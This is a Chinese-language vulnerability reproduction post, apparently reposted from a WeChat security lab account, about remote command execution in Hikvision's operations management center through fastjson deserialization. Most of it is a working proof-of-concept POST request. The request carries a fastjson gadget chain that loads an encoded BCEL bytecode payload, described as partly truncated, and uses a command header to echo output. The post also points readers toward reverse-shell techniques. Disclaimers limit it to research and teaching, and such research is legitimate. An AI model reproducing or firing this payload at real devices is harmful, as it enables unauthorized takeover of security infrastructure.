本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！
海康威视运行管理中心
1.访问漏洞环境
POC （POST）
漏洞复现（bcel代码有删减）
POST /center/api/session HTTP/1.1Host: 127.0.0.1Accept: application/json, text/plain, */*Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Type: application/json;charset=UTF-8X-Language-Type: zh_CNTestcmd: echo mtUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Accept-Language: zh-CN,zh;q=0.9Content-Length: 5778{"x":{{"@type":"com.alibaba.fastjson.JSONObject","name":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","key":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90"}}:"a"}}
执行echo 命令回显测试
3.反弹shell及becl参考这两篇文章
参考 天幕安全实验室，公众号：弥天安全实验室【优质软文】浅析Fastjson场景下Java Bcel字节码实践应用
弥天安全实验室，公众号：弥天安全实验室Oracle WebLogic Server 远程代码执行漏洞(CVE-2023-21839)反弹shell
https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
原文始发于微信公众号（弥天安全实验室）：【成功复现】海康威视运行管理中心远程命令执行漏洞(fastjson)
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论